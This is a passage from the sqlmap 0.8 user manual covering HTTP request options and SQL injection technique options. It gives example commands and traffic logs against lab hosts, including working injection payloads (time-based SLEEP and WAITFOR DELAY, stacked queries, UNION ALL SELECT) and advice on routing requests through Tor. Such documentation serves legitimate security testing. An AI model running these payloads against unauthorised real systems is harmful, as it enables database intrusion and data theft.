Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n]
sqlmap by default doesn't URL encode generated cookie injections, but you can force it by
using the --cookie-urlencode flag. Cookie content encoding is not declared
by standard in any way, so it's solely the matter of web application's behaviour.
User-Agent headerOptions: --user-agent and -a
By default sqlmap perform HTTP requests providing the following HTTP
User-Agent header value:
sqlmap/0.8 (http://sqlmap.sourceforge.net)
It is possible to fake it with the --user-agent option.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
[...]
[hh:mm:02] [INFO] testing connection to the target url
[hh:mm:02] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Connection: close
[...]
Providing a text file, ./txt/user-agents.txt or any other
file containing a list of at least one user agent, to the -a
option, sqlmap will randomly select a User-Agent from the file
and use it for all HTTP requests.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
-a "./txt/user-agents.txt"
[hh:mm:00] [DEBUG] initializing the configuration
[hh:mm:00] [DEBUG] initializing the knowledge base
[hh:mm:00] [DEBUG] cleaning up configuration parameters
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:00] [DEBUG] creating HTTP requests opener object
[hh:mm:00] [DEBUG] parsing XML queries file
[hh:mm:00] [INFO] testing connection to the target url
[hh:mm:00] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
Connection: close
[...]
Note that the HTTP User-Agent header is tested against SQL
injection also if you do not overwrite the default sqlmap HTTP
User-Agent header value.
Some sites perform a server-side check on the HTTP User-Agent
header value and fail the HTTP response if a valid User-Agent is
not provided, its value is not expected or its value is blocked by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
to force the HTTP User-Agent header with option --user-agent or -a
Referer headerOption: --referer
It is possible to fake the HTTP Referer header value with this
option. By default no HTTP Referer header is sent in HTTP
requests.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
"http://www.google.com" -v 3
[...]
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Referer: http://www.google.com
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
Option: --headers
It is possible to provide extra HTTP headers by providing --headers
options. Each header must be separated by a newline and it's much easier
to provide them from the configuration INI file. Have a look at the sample
sqlmap.conf file.
Basic, Digest and NTLM authenticationsOptions: --auth-type and --auth-cred
These options can be used to specify which HTTP authentication type the
web server implements and the valid credentials to be used to perfom all
HTTP requests to the target application.
The three valid types are Basic, Digest and NTLM,
while the credentials' syntax is username:password.
Examples on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass" -v 3
[...]
[hh:mm:14] [INFO] testing connection to the target url
[hh:mm:14] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
--auth-type Digest --auth-cred "testuser:testpass" -v 3
[...]
[hh:mm:54] [INFO] testing connection to the target url
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Digest username="testuser", realm="Testing digest authentication",
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
Option: --auth-cert
This option should be used in cases when the web server requires proper user's
certificate for authentication. Supplied values should be in the form: key_file,
cert_file, where key_file should be the name of a PEM formatted file that
contains your private key, while cert_file should be the name for a PEM formatted
certificate chain file.
Example:
$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
--auth-cert key.pem,cert.pem
[...]
Option: --proxy and --ignore-proxy
It is possible to provide an anonymous HTTP proxy address to pass by the
HTTP requests to the target URL. The syntax of HTTP proxy value is
http://url:port.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://172.16.213.1:8080"
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://172.16.213.1:8118"
Note that 8118 is the default Privoxy port, adapt it to your
settings.
The option --ignore-proxy should be used in cases like
when you want to run sqlmap against the machine inside a local area
network skipping default usage of a system-wide set HTTP proxy server.
Option: --threads
It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.
Examples on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
--current-user --threads 3
[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
[hh:mm:18] [INFO] fetching current user
[hh:mm:18] [INFO] retrieving the length of query output
[hh:mm:18] [INFO] retrieved: 18
[hh:mm:19] [INFO] starting 3 threads
[hh:mm:19] [INFO] retrieved: testuser@localhost
current user: 'testuser@localhost'
As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after up to seven HTTP requests, the maximum requests to retrieve a query output character with the blind SQL injection bisection algorithm implemented in sqlmap.
Note that the multithreading option is not needed if the target is affected
by an inband SQL injection vulnerability and the --union-use
option has been provided.
Option: --delay
It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5 means half a second.
Option: --timeout
It is possible to specify a number of seconds to wait before considering the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half.
Option: --retries
It is possible to specify the maximum number of retries when the HTTP connection timeouts. By default it retries up to three times.
Option: --scope
Rather than using all hosts parsed from provided logs with option
-l, in combination with this option you can specify valid
python regular expression to be used for filtering desired ones.
Example usage:
$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.
Option: -p
By default sqlmap tests all GET parameters, POST
parameters, HTTP Cookie header values and HTTP User-Agent
header value for dynamicity and SQL injection vulnerability, but it is
possible to manually specificy the parameter(s) you want sqlmap to perform
tests on comma separeted in order to skip dynamicity tests and perform SQL
injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
-p "id"
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
Or, if you want to provide more than one parameter, for instance:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
-p "cat,id"
You can also test only the HTTP User-Agent header.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
-p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:41] [INFO] url is stable
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:41] [INFO] testing MySQL
[hh:mm:41] [INFO] retrieved: 44
[hh:mm:41] [INFO] confirming MySQL
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] retrieved: 4
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Option: --dbms
By default sqlmap automatically detects the web application's back-end database management system. At the moment, fully supported database management systems are:
It is possible to force the DBMS name if you already know it so that sqlmap
will skip the fingerprint with an exception for MySQL and Microsoft SQL
Server to only identify the version.
To avoid also this check you can provide instead MySQL <version> or
Microsoft SQL Server <version>, where <version> is a valid version for
the DBMS; for instance 5.0 for MySQL and 2005 for
Microsoft SQL Server.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
--dbms "PostgreSQL"
[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
In case you provide --fingerprint together with --dbms,
sqlmap will only perform the extensive fingerprint for the specified
database management system, read below for further details.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.
Option: --os
By default sqlmap automatically detects the web application's back-end database management system underlying operating system when requested by any other functionality. At the moment the fully supported operating systems are two:
It is possible to force the operating system name if you already know it so that sqlmap will skip the fingerprint.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
-p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
Options: --string and --regexp
By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is always present on the not injected page and on all True injected query pages, but that it is not on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
-v 5
[...]
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 172.16.213.131
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:50 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996190</p>
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 172.16.213.131
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 172.16.213.131
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>
[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
the user's manual paragraph 'Page comparison' for details
As you can see, the string after Dynamic content changes its
value every second. In the example it is just a call to PHP
time() function, but on the real world it is usually much more
than that.
Looking at the HTTP responses page content you can see that the first five
lines of code do not change at all.
So choosing for instance the word luther as an output that is
on the not injected page content and it is not on the False page content
(because the query condition returns no output so luther is not
displayed on the page content) and passing it to sqlmap, you are able to
inject anyway.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
--string "luther" -v 1
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
You can also specify a regular expression to match rather than a string if you prefer.
Example on a MySQL 5.0.67 target on a page which content changes
every second due to a call to PHP function time():
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
--regexp "<td>lu[\w][\w]er" -v 1
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target
URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
As you can see, when one of these options is specified, sqlmap skips the URL stability test.
Consider one of these options a MUST when dealing with a page with content that changes itself at each refresh without modifying the user's input.
Options: --excl-str and --excl-reg
Another way to get around the dynamicity issue explained above is to exclude the dynamic part from the page content before processing it.
As you see in the above example the number after Dynamic content:
was dynamic and changed each second. To get around of this problem we could
use the above explained page comparison options or exclude this snippet of
dynamic text from the page before processing it and comparing it with the
not injected page.
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
--excl-reg "Dynamic content: ([\d]+)"
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
As you can see, when this options is specified, sqlmap skips the URL stability test.
These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.
Option: --stacked-test
It is possible to test if the web application technology supports stacked queries, multiple statements, on the injectable parameter.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
--stacked-test -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
stacked queries support: None
By default PHP builtin function mysql_query() does not support
multiple statements.
Multiple statements is a feature supported by default only by some
web application technologies in relation to the back-end database
management system. For instance, as you can see from the next example,
where PHP does not support them on MySQL, it does on PostgreSQL.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
--stacked-test -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
--stacked-test -v 1
[...]
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
Options: --time-test and --time-sec
It is possible to test if the target URL is affected by a time based blind SQL injection vulnerability.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
--time-test -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
condition syntax
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
with AND condition syntax
time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
--time-test -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
condition syntax
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
injection with AND condition syntax
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
query syntax
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
with stacked query syntax
time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
--time-test -v 1
[...]
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND
condition syntax
[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql
injection with AND condition syntax
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked
query syntax
[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with
stacked query syntax
time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND
'PmrXn'='PmrXn'
It is also possible to set the seconds to delay the response by providing
the --time-sec option followed by an integer. By default delay
is set to five seconds.
Options: --union-test and --union-tech
It is possible to test if the target URL is affected by a UNION query (inband) SQL injection vulnerability. Refer to the Techniques section for details on this SQL injection technique.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
--union-test -v 1
[...]
back-end DBMS: Oracle
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union: 'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
By default sqlmap uses the NULL bruteforcing technique to
detect the number of columns within the original SELECT statement.
It is also possible to change it to ORDER BY clause
bruteforcing with the --union-tech option.
Further details on these techniques can be found here.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
--union-test --union-tech orderby -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
bruteforcing technique
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union: 'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
1262=1262'
As you can see, the target URL parameter id might be also
exploitable by the inband SQL injection technique.
In case a case it is strongly recommended to use this technique which saves
a lot of time.
It is strongly recommended to run at least once sqlmap with the
--union-test option to test if the affected parameter is used
within a for cycle, or similar, and in case use
--union-use option to exploit this vulnerability because it
saves a lot of time and it does not weight down the web server log file
with hundreds of HTTP requests.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
the target URL is affected by an inband SQL injection
(--union-test) vulnerability then, in case it seems to be
vulnerable, it will confirm that the parameter is affected by a Full
UNION query SQL injection and use this technique to go ahead with the
exploiting.
If the confirmation fails, it will check if the parameter is affected by
a Partial UNION query SQL injection, then use it to go ahead if it
is vulnerable.
In case the inband SQL injection vulnerability is not exploitable, sqlmap
will automatically fallback on the blind SQL injection technique to go
ahead.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \
--union-use --banner
[...]
back-end DBMS: Microsoft SQL Server 2000
[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
[hh:mm:42] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds
banner:
---
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
As you can see, the vulnerable parameter (id) is affected by both
